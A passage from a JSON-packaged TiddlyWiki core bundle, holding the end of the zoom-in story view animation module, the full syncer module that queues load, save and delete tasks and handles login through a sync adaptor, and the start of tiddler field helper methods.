itemWidget.findFirstDomNode();\n\t\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\t\tif(!(domNode instanceof Element)) {\n\t\t\treturn;\n\t\t}\n\t\tif((targetTiddler && targetTiddler !== itemWidget.parseTreeNode.itemTitle) || (!targetTiddler && index)) {\n\t\t\tdomNode.style.display = \"none\";\n\t\t} else {\n\t\t\tself.currentTiddlerDomNode = domNode;\n\t\t}\n\t\t$tw.utils.addClass(domNode,\"tc-storyview-zoomin-tiddler\");\n\t});\n};\n\nZoominListView.prototype.navigateTo = function(historyInfo) {\n\tvar duration = $tw.utils.getAnimationDuration(),\n\t\tlistElementIndex = this.listWidget.findListItem(0,historyInfo.title);\n\tif(listElementIndex === undefined) {\n\t\treturn;\n\t}\n\tvar listItemWidget = this.listWidget.children[listElementIndex],\n\t\ttargetElement = listItemWidget.findFirstDomNode();\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\treturn;\n\t}\n\t// Make the new tiddler be position absolute and visible so that we can measure it\n\t$tw.utils.addClass(targetElement,\"tc-storyview-zoomin-tiddler\");\n\t$tw.utils.setStyle(targetElement,[\n\t\t{display: \"block\"},\n\t\t{transformOrigin: \"0 0\"},\n\t\t{transform: \"translateX(0px) translateY(0px) scale(1)\"},\n\t\t{transition: \"none\"},\n\t\t{opacity: \"0.0\"}\n\t]);\n\t// Get the position of the source node, or use the centre of the window as the source position\n\tvar sourceBounds = historyInfo.fromPageRect || {\n\t\t\tleft: window.innerWidth/2 - 2,\n\t\t\ttop: window.innerHeight/2 - 2,\n\t\t\twidth: window.innerWidth/8,\n\t\t\theight: window.innerHeight/8\n\t\t};\n\t// Try to find the title node in the target tiddler\n\tvar titleDomNode = findTitleDomNode(listItemWidget) || listItemWidget.findFirstDomNode(),\n\t\tzoomBounds = titleDomNode.getBoundingClientRect();\n\t// Compute the transform for the target tiddler to make the title lie over the source rectange\n\tvar targetBounds = targetElement.getBoundingClientRect(),\n\t\tscale = sourceBounds.width / zoomBounds.width,\n\t\tx = sourceBounds.left - targetBounds.left - (zoomBounds.left - targetBounds.left) * scale,\n\t\ty = sourceBounds.top - targetBounds.top - (zoomBounds.top - targetBounds.top) * scale;\n\t// Transform the target tiddler to its starting position\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transform: \"translateX(\" + x + \"px) translateY(\" + y + \"px) scale(\" + scale + \")\"}\n\t]);\n\t// Force layout\n\t$tw.utils.forceLayout(targetElement);\n\t// Apply the ending transitions with a timeout to ensure that the previously applied transformations are applied first\n\tvar self = this,\n\t\tprevCurrentTiddler = this.currentTiddlerDomNode;\n\tthis.currentTiddlerDomNode = targetElement;\n\t// Transform the target tiddler to its natural size\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms \" + easing + \", opacity \" + duration + \"ms \" + easing},\n\t\t{opacity: \"1.0\"},\n\t\t{transform: \"translateX(0px) translateY(0px) scale(1)\"},\n\t\t{zIndex: \"500\"},\n\t]);\n\t// Transform the previous tiddler out of the way and then hide it\n\tif(prevCurrentTiddler && prevCurrentTiddler !== targetElement) {\n\t\tscale = zoomBounds.width / sourceBounds.width;\n\t\tx =  zoomBounds.left - targetBounds.left - (sourceBounds.left - targetBounds.left) * scale;\n\t\ty =  zoomBounds.top - targetBounds.top - (sourceBounds.top - targetBounds.top) * scale;\n\t\t$tw.utils.setStyle(prevCurrentTiddler,[\n\t\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms \" + easing + \", opacity \" + duration + \"ms \" + easing},\n\t\t\t{opacity: \"0.0\"},\n\t\t\t{transformOrigin: \"0 0\"},\n\t\t\t{transform: \"translateX(\" + x + \"px) translateY(\" + y + \"px) scale(\" + scale + \")\"},\n\t\t\t{zIndex: \"0\"}\n\t\t]);\n\t\t// Hide the tiddler when the transition has finished\n\t\tsetTimeout(function() {\n\t\t\tif(self.currentTiddlerDomNode !== prevCurrentTiddler) {\n\t\t\t\tprevCurrentTiddler.style.display = \"none\";\n\t\t\t}\n\t\t},duration);\n\t}\n\t// Scroll the target into view\n//\t$tw.pageScroller.scrollIntoView(targetElement);\n};\n\n/*\nFind the first child DOM node of a widget that has the class \"tc-title\"\n*/\nfunction findTitleDomNode(widget,targetClass) {\n\ttargetClass = targetClass || \"tc-title\";\n\tvar domNode = widget.findFirstDomNode();\n\tif(domNode && domNode.querySelector) {\n\t\treturn domNode.querySelector(\".\" + targetClass);\n\t}\n\treturn null;\n}\n\nZoominListView.prototype.insert = function(widget) {\n\tvar targetElement = widget.findFirstDomNode();\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\treturn;\n\t}\n\t// Make the newly inserted node position absolute and hidden\n\t$tw.utils.addClass(targetElement,\"tc-storyview-zoomin-tiddler\");\n\t$tw.utils.setStyle(targetElement,[\n\t\t{display: \"none\"}\n\t]);\n};\n\nZoominListView.prototype.remove = function(widget) {\n\tvar targetElement = widget.findFirstDomNode(),\n\t\tduration = $tw.utils.getAnimationDuration(),\n\t\tremoveElement = function() {\n\t\t\twidget.removeChildDomNodes();\n\t\t};\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\tremoveElement();\n\t\treturn;\n\t}\n\t// Abandon if hidden\n\tif(targetElement.style.display != \"block\" ) {\n\t\tremoveElement();\n\t\treturn;\n\t}\n\t// Set up the tiddler that is being closed\n\t$tw.utils.addClass(targetElement,\"tc-storyview-zoomin-tiddler\");\n\t$tw.utils.setStyle(targetElement,[\n\t\t{display: \"block\"},\n\t\t{transformOrigin: \"50% 50%\"},\n\t\t{transform: \"translateX(0px) translateY(0px) scale(1)\"},\n\t\t{transition: \"none\"},\n\t\t{zIndex: \"0\"}\n\t]);\n\t// We'll move back to the previous or next element in the story\n\tvar toWidget = widget.previousSibling();\n\tif(!toWidget) {\n\t\ttoWidget = widget.nextSibling();\n\t}\n\tvar toWidgetDomNode = toWidget && toWidget.findFirstDomNode();\n\t// Set up the tiddler we're moving back in\n\tif(toWidgetDomNode) {\n\t\t$tw.utils.addClass(toWidgetDomNode,\"tc-storyview-zoomin-tiddler\");\n\t\t$tw.utils.setStyle(toWidgetDomNode,[\n\t\t\t{display: \"block\"},\n\t\t\t{transformOrigin: \"50% 50%\"},\n\t\t\t{transform: \"translateX(0px) translateY(0px) scale(10)\"},\n\t\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms \" + easing + \", opacity \" + duration + \"ms \" + easing},\n\t\t\t{opacity: \"0\"},\n\t\t\t{zIndex: \"500\"}\n\t\t]);\n\t\tthis.currentTiddlerDomNode = toWidgetDomNode;\n\t}\n\t// Animate them both\n\t// Force layout\n\t$tw.utils.forceLayout(this.listWidget.parentDomNode);\n\t// First, the tiddler we're closing\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transformOrigin: \"50% 50%\"},\n\t\t{transform: \"translateX(0px) translateY(0px) scale(0.1)\"},\n\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms \" + easing + \", opacity \" + duration + \"ms \" + easing},\n\t\t{opacity: \"0\"},\n\t\t{zIndex: \"0\"}\n\t]);\n\tsetTimeout(removeElement,duration);\n\t// Now the tiddler we're going back to\n\tif(toWidgetDomNode) {\n\t\t$tw.utils.setStyle(toWidgetDomNode,[\n\t\t\t{transform: \"translateX(0px) translateY(0px) scale(1)\"},\n\t\t\t{opacity: \"1\"}\n\t\t]);\n\t}\n\treturn true; // Indicate that we'll delete the DOM node\n};\n\nexports.zoomin = ZoominListView;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "storyview"
        },
        "$:/core/modules/syncer.js": {
            "title": "$:/core/modules/syncer.js",
            "text": "/*\\\ntitle: $:/core/modules/syncer.js\ntype: application/javascript\nmodule-type: global\n\nThe syncer tracks changes to the store. If a syncadaptor is used then individual tiddlers are synchronised through it. If there is no syncadaptor then the entire wiki is saved via saver modules.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nDefaults\n*/\nSyncer.prototype.titleIsLoggedIn = \"$:/status/IsLoggedIn\";\nSyncer.prototype.titleIsAnonymous = \"$:/status/IsAnonymous\";\nSyncer.prototype.titleIsReadOnly = \"$:/status/IsReadOnly\";\nSyncer.prototype.titleUserName = \"$:/status/UserName\";\nSyncer.prototype.titleSyncFilter = \"$:/config/SyncFilter\";\nSyncer.prototype.titleSyncPollingInterval = \"$:/config/SyncPollingInterval\";\nSyncer.prototype.titleSavedNotification = \"$:/language/Notifications/Save/Done\";\nSyncer.prototype.taskTimerInterval = 1 * 1000; // Interval for sync timer\nSyncer.prototype.throttleInterval = 1 * 1000; // Defer saving tiddlers if they've changed in the last 1s...\nSyncer.prototype.fallbackInterval = 10 * 1000; // Unless the task is older than 10s\nSyncer.prototype.pollTimerInterval = 60 * 1000; // Interval for polling for changes from the adaptor\n\n/*\nInstantiate the syncer with the following options:\nsyncadaptor: reference to syncadaptor to be used\nwiki: wiki to be synced\n*/\nfunction Syncer(options) {\n\tvar self = this;\n\tthis.wiki = options.wiki;\n\tthis.syncadaptor = options.syncadaptor;\n\tthis.disableUI = !!options.disableUI;\n\tthis.titleIsLoggedIn = options.titleIsLoggedIn || this.titleIsLoggedIn;\n\tthis.titleUserName = options.titleUserName || this.titleUserName;\n\tthis.titleSyncFilter = options.titleSyncFilter || this.titleSyncFilter;\n\tthis.titleSavedNotification = options.titleSavedNotification || this.titleSavedNotification;\n\tthis.taskTimerInterval = options.taskTimerInterval || this.taskTimerInterval;\n\tthis.throttleInterval = options.throttleInterval || this.throttleInterval;\n\tthis.fallbackInterval = options.fallbackInterval || this.fallbackInterval;\n\tthis.pollTimerInterval = options.pollTimerInterval || parseInt(this.wiki.getTiddlerText(this.titleSyncPollingInterval,\"\"),10) || this.pollTimerInterval;\n\tthis.logging = \"logging\" in options ? options.logging : true;\n\t// Make a logger\n\tthis.logger = new $tw.utils.Logger(\"syncer\" + ($tw.browser ? \"-browser\" : \"\") + ($tw.node ? \"-server\" : \"\")  + (this.syncadaptor.name ? (\"-\" + this.syncadaptor.name) : \"\"),{\n\t\t\tcolour: \"cyan\",\n\t\t\tenable: this.logging\n\t\t});\n\t// Compile the dirty tiddler filter\n\tthis.filterFn = this.wiki.compileFilter(this.wiki.getTiddlerText(this.titleSyncFilter));\n\t// Record information for known tiddlers\n\tthis.readTiddlerInfo();\n\t// Tasks are {type: \"load\"/\"save\"/\"delete\", title:, queueTime:, lastModificationTime:}\n\tthis.taskQueue = {}; // Hashmap of tasks yet to be performed\n\tthis.taskInProgress = {}; // Hash of tasks in progress\n\tthis.taskTimerId = null; // Timer for task dispatch\n\tthis.pollTimerId = null; // Timer for polling server\n\t// Listen out for changes to tiddlers\n\tthis.wiki.addEventListener(\"change\",function(changes) {\n\t\tself.syncToServer(changes);\n\t});\n\t// Browser event handlers\n\tif($tw.browser && !this.disableUI) {\n\t\t// Set up our beforeunload handler\n\t\t$tw.addUnloadTask(function(event) {\n\t\t\tvar confirmationMessage;\n\t\t\tif(self.isDirty()) {\n\t\t\t\tconfirmationMessage = $tw.language.getString(\"UnsavedChangesWarning\");\n\t\t\t\tevent.returnValue = confirmationMessage; // Gecko\n\t\t\t}\n\t\t\treturn confirmationMessage;\n\t\t});\n\t\t// Listen out for login/logout/refresh events in the browser\n\t\t$tw.rootWidget.addEventListener(\"tm-login\",function() {\n\t\t\tself.handleLoginEvent();\n\t\t});\n\t\t$tw.rootWidget.addEventListener(\"tm-logout\",function() {\n\t\t\tself.handleLogoutEvent();\n\t\t});\n\t\t$tw.rootWidget.addEventListener(\"tm-server-refresh\",function() {\n\t\t\tself.handleRefreshEvent();\n\t\t});\n\t}\n\t// Listen out for lazyLoad events\n\tif(!this.disableUI) {\n\t\tthis.wiki.addEventListener(\"lazyLoad\",function(title) {\n\t\t\tself.handleLazyLoadEvent(title);\n\t\t});\t\t\n\t}\n\t// Get the login status\n\tthis.getStatus(function(err,isLoggedIn) {\n\t\t// Do a sync from the server\n\t\tself.syncFromServer();\n\t});\n}\n\n/*\nRead (or re-read) the latest tiddler info from the store\n*/\nSyncer.prototype.readTiddlerInfo = function() {\n\t// Hashmap by title of {revision:,changeCount:,adaptorInfo:}\n\tthis.tiddlerInfo = {};\n\t// Record information for known tiddlers\n\tvar self = this,\n\t\ttiddlers = this.filterFn.call(this.wiki);\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar tiddler = self.wiki.getTiddler(title);\n\t\tself.tiddlerInfo[title] = {\n\t\t\trevision: tiddler.fields.revision,\n\t\t\tadaptorInfo: self.syncadaptor && self.syncadaptor.getTiddlerInfo(tiddler),\n\t\t\tchangeCount: self.wiki.getChangeCount(title),\n\t\t\thasBeenLazyLoaded: false\n\t\t};\n\t});\n};\n\n/*\nCreate an tiddlerInfo structure if it doesn't already exist\n*/\nSyncer.prototype.createTiddlerInfo = function(title) {\n\tif(!$tw.utils.hop(this.tiddlerInfo,title)) {\n\t\tthis.tiddlerInfo[title] = {\n\t\t\trevision: null,\n\t\t\tadaptorInfo: {},\n\t\t\tchangeCount: -1,\n\t\t\thasBeenLazyLoaded: false\n\t\t};\n\t}\n};\n\n/*\nChecks whether the wiki is dirty (ie the window shouldn't be closed)\n*/\nSyncer.prototype.isDirty = function() {\n\treturn (this.numTasksInQueue() > 0) || (this.numTasksInProgress() > 0);\n};\n\n/*\nUpdate the document body with the class \"tc-dirty\" if the wiki has unsaved/unsynced changes\n*/\nSyncer.prototype.updateDirtyStatus = function() {\n\tif($tw.browser && !this.disableUI) {\n\t\t$tw.utils.toggleClass(document.body,\"tc-dirty\",this.isDirty());\n\t}\n};\n\n/*\nSave an incoming tiddler in the store, and updates the associated tiddlerInfo\n*/\nSyncer.prototype.storeTiddler = function(tiddlerFields,hasBeenLazyLoaded) {\n\t// Save the tiddler\n\tvar tiddler = new $tw.Tiddler(tiddlerFields);\n\tthis.wiki.addTiddler(tiddler);\n\t// Save the tiddler revision and changeCount details\n\tthis.tiddlerInfo[tiddlerFields.title] = {\n\t\trevision: tiddlerFields.revision,\n\t\tadaptorInfo: this.syncadaptor.getTiddlerInfo(tiddler),\n\t\tchangeCount: this.wiki.getChangeCount(tiddlerFields.title),\n\t\thasBeenLazyLoaded: hasBeenLazyLoaded !== undefined ? hasBeenLazyLoaded : true\n\t};\n};\n\nSyncer.prototype.getStatus = function(callback) {\n\tvar self = this;\n\t// Check if the adaptor supports getStatus()\n\tif(this.syncadaptor && this.syncadaptor.getStatus) {\n\t\t// Mark us as not logged in\n\t\tthis.wiki.addTiddler({title: this.titleIsLoggedIn,text: \"no\"});\n\t\t// Get login status\n\t\tthis.syncadaptor.getStatus(function(err,isLoggedIn,username,isReadOnly,isAnonymous) {\n\t\t\tif(err) {\n\t\t\t\tself.logger.alert(err);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t// Set the various status tiddlers\n\t\t\tself.wiki.addTiddler({title: self.titleIsReadOnly,text: isReadOnly ? \"yes\" : \"no\"});\n\t\t\tself.wiki.addTiddler({title: self.titleIsAnonymous,text: isAnonymous ? \"yes\" : \"no\"});\n\t\t\tself.wiki.addTiddler({title: self.titleIsLoggedIn,text: isLoggedIn ? \"yes\" : \"no\"});\n\t\t\tif(isLoggedIn) {\n\t\t\t\tself.wiki.addTiddler({title: self.titleUserName,text: username || \"\"});\n\t\t\t}\n\t\t\t// Invoke the callback\n\t\t\tif(callback) {\n\t\t\t\tcallback(err,isLoggedIn,username);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tcallback(null,true,\"UNAUTHENTICATED\");\n\t}\n};\n\n/*\nSynchronise from the server by reading the skinny tiddler list and queuing up loads for any tiddlers that we don't already have up to date\n*/\nSyncer.prototype.syncFromServer = function() {\n\tif(this.syncadaptor && this.syncadaptor.getSkinnyTiddlers) {\n\t\tthis.logger.log(\"Retrieving skinny tiddler list\");\n\t\tvar self = this;\n\t\tif(this.pollTimerId) {\n\t\t\tclearTimeout(this.pollTimerId);\n\t\t\tthis.pollTimerId = null;\n\t\t}\n\t\tthis.syncadaptor.getSkinnyTiddlers(function(err,tiddlers) {\n\t\t\t// Trigger the next sync\n\t\t\tself.pollTimerId = setTimeout(function() {\n\t\t\t\tself.pollTimerId = null;\n\t\t\t\tself.syncFromServer.call(self);\n\t\t\t},self.pollTimerInterval);\n\t\t\t// Check for errors\n\t\t\tif(err) {\n\t\t\t\tself.logger.alert($tw.language.getString(\"Error/RetrievingSkinny\") + \":\",err);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t// Process each incoming tiddler\n\t\t\tfor(var t=0; t<tiddlers.length; t++) {\n\t\t\t\t// Get the incoming tiddler fields, and the existing tiddler\n\t\t\t\tvar tiddlerFields = tiddlers[t],\n\t\t\t\t\tincomingRevision = tiddlerFields.revision + \"\",\n\t\t\t\t\ttiddler = self.wiki.getTiddler(tiddlerFields.title),\n\t\t\t\t\ttiddlerInfo = self.tiddlerInfo[tiddlerFields.title],\n\t\t\t\t\tcurrRevision = tiddlerInfo ? tiddlerInfo.revision : null;\n\t\t\t\t// Ignore the incoming tiddler if it's the same as the revision we've already got\n\t\t\t\tif(currRevision !== incomingRevision) {\n\t\t\t\t\t// Do a full load if we've already got a fat version of the tiddler\n\t\t\t\t\tif(tiddler && tiddler.fields.text !== undefined) {\n\t\t\t\t\t\t// Do a full load of this tiddler\n\t\t\t\t\t\tself.enqueueSyncTask({\n\t\t\t\t\t\t\ttype: \"load\",\n\t\t\t\t\t\t\ttitle: tiddlerFields.title\n\t\t\t\t\t\t});\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// Load the skinny version of the tiddler\n\t\t\t\t\t\tself.storeTiddler(tiddlerFields,false);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n};\n\n/*\nSynchronise a set of changes to the server\n*/\nSyncer.prototype.syncToServer = function(changes) {\n\tvar self = this,\n\t\tnow = Date.now(),\n\t\tfilteredChanges = this.filterFn.call(this.wiki,function(callback) {\n\t\t\t$tw.utils.each(changes,function(change,title) {\n\t\t\t\tvar tiddler = self.wiki.getTiddler(title);\n\t\t\t\tcallback(tiddler,title);\n\t\t\t});\n\t\t});\n\t$tw.utils.each(changes,function(change,title,object) {\n\t\t// Process the change if it is a deletion of a tiddler we're already syncing, or is on the filtered change list\n\t\tif((change.deleted && $tw.utils.hop(self.tiddlerInfo,title)) || filteredChanges.indexOf(title) !== -1) {\n\t\t\t// Queue a task to sync this tiddler\n\t\t\tself.enqueueSyncTask({\n\t\t\t\ttype: change.deleted ? \"delete\" : \"save\",\n\t\t\t\ttitle: title\n\t\t\t});\n\t\t}\n\t});\n};\n\n/*\nLazily load a skinny tiddler if we can\n*/\nSyncer.prototype.handleLazyLoadEvent = function(title) {\n\t// Don't lazy load the same tiddler twice\n\tvar info = this.tiddlerInfo[title];\n\tif(!info || !info.hasBeenLazyLoaded) {\n\t\t// Don't lazy load if the tiddler isn't included in the sync filter\n\t\tif(this.filterFn.call(this.wiki).indexOf(title) !== -1) {\n\t\t\tthis.createTiddlerInfo(title);\n\t\t\tthis.tiddlerInfo[title].hasBeenLazyLoaded = true;\n\t\t\t// Queue up a sync task to load this tiddler\n\t\t\tthis.enqueueSyncTask({\n\t\t\t\ttype: \"load\",\n\t\t\t\ttitle: title\n\t\t\t});\n\t\t}\n\t}\n};\n\n/*\nDispay a password prompt and allow the user to login\n*/\nSyncer.prototype.handleLoginEvent = function() {\n\tvar self = this;\n\tthis.getStatus(function(err,isLoggedIn,username) {\n\t\tif(!isLoggedIn) {\n\t\t\t$tw.passwordPrompt.createPrompt({\n\t\t\t\tserviceName: $tw.language.getString(\"LoginToTiddlySpace\"),\n\t\t\t\tcallback: function(data) {\n\t\t\t\t\tself.login(data.username,data.password,function(err,isLoggedIn) {\n\t\t\t\t\t\tself.syncFromServer();\n\t\t\t\t\t});\n\t\t\t\t\treturn true; // Get rid of the password prompt\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t});\n};\n\n/*\nAttempt to login to TiddlyWeb.\n\tusername: username\n\tpassword: password\n\tcallback: invoked with arguments (err,isLoggedIn)\n*/\nSyncer.prototype.login = function(username,password,callback) {\n\tthis.logger.log(\"Attempting to login as\",username);\n\tvar self = this;\n\tif(this.syncadaptor.login) {\n\t\tthis.syncadaptor.login(username,password,function(err) {\n\t\t\tif(err) {\n\t\t\t\treturn callback(err);\n\t\t\t}\n\t\t\tself.getStatus(function(err,isLoggedIn,username) {\n\t\t\t\tif(callback) {\n\t\t\t\t\tcallback(null,isLoggedIn);\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t} else {\n\t\tcallback(null,true);\n\t}\n};\n\n/*\nAttempt to log out of TiddlyWeb\n*/\nSyncer.prototype.handleLogoutEvent = function() {\n\tthis.logger.log(\"Attempting to logout\");\n\tvar self = this;\n\tif(this.syncadaptor.logout) {\n\t\tthis.syncadaptor.logout(function(err) {\n\t\t\tif(err) {\n\t\t\t\tself.logger.alert(err);\n\t\t\t} else {\n\t\t\t\tself.getStatus();\n\t\t\t}\n\t\t});\n\t}\n};\n\n/*\nImmediately refresh from the server\n*/\nSyncer.prototype.handleRefreshEvent = function() {\n\tthis.syncFromServer();\n};\n\n/*\nQueue up a sync task. If there is already a pending task for the tiddler, just update the last modification time\n*/\nSyncer.prototype.enqueueSyncTask = function(task) {\n\tvar self = this,\n\t\tnow = Date.now();\n\t// Set the timestamps on this task\n\ttask.queueTime = now;\n\ttask.lastModificationTime = now;\n\t// Fill in some tiddlerInfo if the tiddler is one we haven't seen before\n\tthis.createTiddlerInfo(task.title);\n\t// Bail if this is a save and the tiddler is already at the changeCount that the server has\n\tif(task.type === \"save\" && this.wiki.getChangeCount(task.title) <= this.tiddlerInfo[task.title].changeCount) {\n\t\treturn;\n\t}\n\t// Check if this tiddler is already in the queue\n\tif($tw.utils.hop(this.taskQueue,task.title)) {\n\t\t// this.logger.log(\"Re-queueing up sync task with type:\",task.type,\"title:\",task.title);\n\t\tvar existingTask = this.taskQueue[task.title];\n\t\t// If so, just update the last modification time\n\t\texistingTask.lastModificationTime = task.lastModificationTime;\n\t\t// If the new task is a save then we upgrade the existing task to a save. Thus a pending load is turned into a save if the tiddler changes locally in the meantime. But a pending save is not modified to become a load\n\t\tif(task.type === \"save\" || task.type === \"delete\") {\n\t\t\texistingTask.type = task.type;\n\t\t}\n\t} else {\n\t\t// this.logger.log(\"Queuing up sync task with type:\",task.type,\"title:\",task.title);\n\t\t// If it is not in the queue, insert it\n\t\tthis.taskQueue[task.title] = task;\n\t\tthis.updateDirtyStatus();\n\t}\n\t// Process the queue\n\t$tw.utils.nextTick(function() {self.processTaskQueue.call(self);});\n};\n\n/*\nReturn the number of tasks in progress\n*/\nSyncer.prototype.numTasksInProgress = function() {\n\treturn $tw.utils.count(this.taskInProgress);\n};\n\n/*\nReturn the number of tasks in the queue\n*/\nSyncer.prototype.numTasksInQueue = function() {\n\treturn $tw.utils.count(this.taskQueue);\n};\n\n/*\nTrigger a timeout if one isn't already outstanding\n*/\nSyncer.prototype.triggerTimeout = function() {\n\tvar self = this;\n\tif(!this.taskTimerId) {\n\t\tthis.taskTimerId = setTimeout(function() {\n\t\t\tself.taskTimerId = null;\n\t\t\tself.processTaskQueue.call(self);\n\t\t},self.taskTimerInterval);\n\t}\n};\n\n/*\nProcess the task queue, performing the next task if appropriate\n*/\nSyncer.prototype.processTaskQueue = function() {\n\tvar self = this;\n\t// Only process a task if the sync adaptor is fully initialised and we're not already performing a task. If we are already performing a task then we'll dispatch the next one when it completes\n\tif((!this.syncadaptor.isReady || this.syncadaptor.isReady()) && this.numTasksInProgress() === 0) {\n\t\t// Choose the next task to perform\n\t\tvar task = this.chooseNextTask();\n\t\t// Perform the task if we had one\n\t\tif(task) {\n\t\t\t// Remove the task from the queue and add it to the in progress list\n\t\t\tdelete this.taskQueue[task.title];\n\t\t\tthis.taskInProgress[task.title] = task;\n\t\t\tthis.updateDirtyStatus();\n\t\t\t// Dispatch the task\n\t\t\tthis.dispatchTask(task,function(err) {\n\t\t\t\tif(err) {\n\t\t\t\t\tself.logger.alert(\"Sync error while processing '\" + task.title + \"':\\n\" + err);\n\t\t\t\t}\n\t\t\t\t// Mark that this task is no longer in progress\n\t\t\t\tdelete self.taskInProgress[task.title];\n\t\t\t\tself.updateDirtyStatus();\n\t\t\t\t// Process the next task\n\t\t\t\tself.processTaskQueue.call(self);\n\t\t\t});\n\t\t} else {\n\t\t\t// Make sure we've set a time if there wasn't a task to perform, but we've still got tasks in the queue\n\t\t\tif(this.numTasksInQueue() > 0) {\n\t\t\t\tthis.triggerTimeout();\n\t\t\t}\n\t\t}\n\t}\n};\n\n/*\nChoose the next applicable task\n*/\nSyncer.prototype.chooseNextTask = function() {\n\tvar self = this,\n\t\tcandidateTask = null,\n\t\tnow = Date.now();\n\t// Select the best candidate task\n\t$tw.utils.each(this.taskQueue,function(task,title) {\n\t\t// Exclude the task if there's one of the same name in progress\n\t\tif($tw.utils.hop(self.taskInProgress,title)) {\n\t\t\treturn;\n\t\t}\n\t\t// Exclude the task if it is a save and the tiddler has been modified recently, but not hit the fallback time\n\t\tif(task.type === \"save\" && (now - task.lastModificationTime) < self.throttleInterval &&\n\t\t\t(now - task.queueTime) < self.fallbackInterval) {\n\t\t\treturn;\n\t\t}\n\t\t// Exclude the task if it is newer than the current best candidate\n\t\tif(candidateTask && candidateTask.queueTime < task.queueTime) {\n\t\t\treturn;\n\t\t}\n\t\t// Now this is our best candidate\n\t\tcandidateTask = task;\n\t});\n\treturn candidateTask;\n};\n\n/*\nDispatch a task and invoke the callback\n*/\nSyncer.prototype.dispatchTask = function(task,callback) {\n\tvar self = this;\n\tif(task.type === \"save\") {\n\t\tvar changeCount = this.wiki.getChangeCount(task.title),\n\t\t\ttiddler = this.wiki.getTiddler(task.title);\n\t\tthis.logger.log(\"Dispatching 'save' task:\",task.title);\n\t\tif(tiddler) {\n\t\t\tthis.syncadaptor.saveTiddler(tiddler,function(err,adaptorInfo,revision) {\n\t\t\t\tif(err) {\n\t\t\t\t\treturn callback(err);\n\t\t\t\t}\n\t\t\t\t// Adjust the info stored about this tiddler\n\t\t\t\tself.tiddlerInfo[task.title] = {\n\t\t\t\t\tchangeCount: changeCount,\n\t\t\t\t\tadaptorInfo: adaptorInfo,\n\t\t\t\t\trevision: revision\n\t\t\t\t};\n\t\t\t\t// Invoke the callback\n\t\t\t\tcallback(null);\n\t\t\t},{\n\t\t\t\ttiddlerInfo: self.tiddlerInfo[task.title]\n\t\t\t});\n\t\t} else {\n\t\t\tthis.logger.log(\" Not Dispatching 'save' task:\",task.title,\"tiddler does not exist\");\n\t\t\treturn callback(null);\n\t\t}\n\t} else if(task.type === \"load\") {\n\t\t// Load the tiddler\n\t\tthis.logger.log(\"Dispatching 'load' task:\",task.title);\n\t\tthis.syncadaptor.loadTiddler(task.title,function(err,tiddlerFields) {\n\t\t\tif(err) {\n\t\t\t\treturn callback(err);\n\t\t\t}\n\t\t\t// Store the tiddler\n\t\t\tif(tiddlerFields) {\n\t\t\t\tself.storeTiddler(tiddlerFields,true);\n\t\t\t}\n\t\t\t// Invoke the callback\n\t\t\tcallback(null);\n\t\t});\n\t} else if(task.type === \"delete\") {\n\t\t// Delete the tiddler\n\t\tthis.logger.log(\"Dispatching 'delete' task:\",task.title);\n\t\tthis.syncadaptor.deleteTiddler(task.title,function(err) {\n\t\t\tif(err) {\n\t\t\t\treturn callback(err);\n\t\t\t}\n\t\t\tdelete self.tiddlerInfo[task.title];\n\t\t\t// Invoke the callback\n\t\t\tcallback(null);\n\t\t},{\n\t\t\ttiddlerInfo: self.tiddlerInfo[task.title]\n\t\t});\n\t}\n};\n\nexports.Syncer = Syncer;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "global"
        },
        "$:/core/modules/tiddler.js": {
            "title": "$:/core/modules/tiddler.js",
            "text": "/*\\\ntitle: $:/core/modules/tiddler.js\ntype: application/javascript\nmodule-type: tiddlermethod\n\nExtension methods for the $tw.Tiddler object (constructor and methods required at boot time are in boot/boot.js)\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.hasTag = function(tag) {\n\treturn this.fields.tags && this.fields.tags.indexOf(tag) !== -1;\n};\n\nexports.isPlugin = function() {\n\treturn this.fields.type === \"application/json\" && this.hasField(\"plugin-type\");\n};\n\nexports.isDraft = function() {\n\treturn this.hasField(\"draft.of\");\n};\n\nexports.getFieldString = function(field) {\n\tvar value = this.fields[field];\n\t// Check for a missing field\n\tif(value === undefined || value === null) {\n\t\treturn \"\";\n\t}\n\t// Parse the field with the associated module (if any)\n\tvar fieldModule = $tw.Tiddler.fieldModules[field];\n\tif(fieldModule && fieldModule.stringify) {\n\t\treturn fieldModule.stringify.call(this,value);\n\t} else {\n\t\treturn value.toString();\n\t}\n};\n\n/*\nGet the value of a field as a list\n*/\nexports.getFieldList = function(field) {\n\tvar value = this.fields[field];\n\t// Check for a missing field\n\tif(value === undefined || value === null) {\n\t\treturn [];\n\t}\n\treturn $tw.utils.parseStringArray(value);\n};\n\n/*\nGet all the fields as a hashmap of strings. Options:\n\texclude: an array of field names to exclude\n*/\nexports.getFieldStrings = function(options) {\n\toptions = options || {};\n\tvar exclude = options.exclude || [];\n\tvar fields = {};\n\tfor(var field in this.fields) {\n\t\tif($tw.utils.hop(this.fields,field)) {\n\t\t\tif(exclude.indexOf(field) === -1) {\n\t\t\t\tfields[field] = 